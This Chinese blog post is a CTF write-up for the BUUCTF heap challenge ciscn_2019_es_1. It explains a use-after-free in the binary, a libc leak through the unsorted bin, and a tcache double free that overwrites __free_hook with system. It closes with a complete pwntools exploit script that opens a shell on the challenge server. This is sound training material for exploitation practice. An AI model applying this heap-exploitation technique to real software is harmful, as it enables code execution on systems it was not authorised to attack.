• ciscn_2019_es_1


    逆向分析

    I hate 2.29 , can you understand me?
    maybe you know the new libc
    ======================
    How are you ~~~~
    By the way,i don't want 996 !
    1.Add a 996 info
    2.Show info
    3.Call that 996 compary!
    4.I hate 996!
    choice:
    
    

    add 函数

        heap_addr[v0] = malloc(0x18uLL);
        *(heap_addr[heap_number] + 2) = size;
        v1 = heap_addr[heap_number];
        *v1 = malloc(size);
        read(0, *heap_addr[heap_number], size);
        read(0, heap_addr[heap_number] + 12, 0xCuLL);
         *(heap_addr[heap_number] + 23) = 0;
    
    • heap_addr[v0]:存放 chunk 的地址。
    • *(heap_addr[heap_number] + 2):在 chunk 的第 8 个字节的偏移存放 name chunk 的 size 。
    • *(heap_addr[heap_number]):在 chunk 的 mem 开始处存放 name chunk 的指针。
    • read(0, *heap_addr[heap_number], size):往 name chunk 的 mem 开始处写入 size 大小内容。
    • read(0, heap_addr[heap_number] + 12, 0xCuLL):从 name hunk 第 12 字节偏移处写入 11 字节大小的内容。

    show 函数

        puts("name:");
        puts(*heap_addr[v1]);
        puts("phone:");
        puts(heap_addr[v1] + 12);
    
    • 分别打印 name 和 phone 。

    call 函数

        free(*heap_addr[v1]);
    
    • 释放 name chunk ,没有释放 chunk ,而且 chunk 中的 name chunk 指针没有置 0 。

    利用思路

    • 创建三个 chunk ,其中 chunk 2 写入 '/bin/sh'
    • 释放 chunk 0 ,这里题目环境是 libc 2.27 ,有 tcache 机制,我们申请大于 0x400 的块(tcachebin 最大为 0x400),就能绕过 tcache ,进入 unsorted bin ,这时 根据 unsorted bin 的特性, fd 和 bk 指针都会指向 main_arena + 96 出,这样我们就能泄露出 libc 基址,从而得到 free hook 的地址。
    • 然后运用基于 tcache 的 double free 技术,我们就能分配到 mem 指针指向 free hook 地址的 chunk ,然后通过 add 将 free hook 改为 system 地址。
    • 当我们 free chunk 2 的时候,就会执行 system('/bin/sh') 拿 shell 。

    exp 脚本

    from pwn_debug import *
    
    pdbg = pwn_debug('ciscn_2019_es_1')
    pdbg.debug('2.27')
    pdbg.remote('node3.buuoj.cn',27837)
    sh = pdbg.run('remote')
    libc = ELF('./libc-2.27.so')
    
    def add(size,name,compary):
    	sh.sendlineafter('choice:','1')
    	sh.sendlineafter("compary's name",str(int(size)))
    	sh.sendafter('input name:',name)
    	sh.sendafter('call:',compary)
    
    def show(index):
    	sh.sendlineafter('choice:','2')
    	sh.sendlineafter('
    ',str(index))
    
    def call(index):
    	sh.sendlineafter('choice','3')
    	sh.sendlineafter('
    ',str(index))
    
    
    add(0x410,'doudou','137')#0
    add(0x28,'doudou1','138')#1
    add(0x68,'/bin/shx00','139')#2
    
    call(0)
    
    #gdb.attach(sh)
    show(0)
    
    libcbase=u64(sh.recvuntil('x7f')[-6:].ljust(8,'x00'))-96-0x10-libc.sym['__malloc_hook']
    free_hook=libcbase+libc.sym['__free_hook']
    system=libcbase+libc.sym['system']
    
    call(1)
    #gdb.attach(sh)
    call(1)
    #gdb.attach(sh)
    add(0x28,p64(free_hook),'141')
    #gdb.attach(sh)
    add(0x28,'111','142')
    #gdb.attach(sh)
    add(0x28,p64(system),'143')
    
    call(2)
    #gdb.attach(sh)
    
    sh.interactive()
    
    

    get flag

    内容来源

    BUUCTF ciscn_2019_es_1
    ctf-wiki-tcache

  • 相关阅读:
    Linux中touch和mkdir、vi的区别
    宿主机和虚拟机的IP地址和端口号的区别
    测试环境
    Fiddler
    Linux 常用指令
    测试环境的网址与账号密码
    书签
    快速寻找满足条件的两个数
    android 资讯阅读器(二)
    android 资讯阅读器
  • 原文地址:https://www.cnblogs.com/luoleqi/p/12402677.html
Copyright © 2020-2023  润新知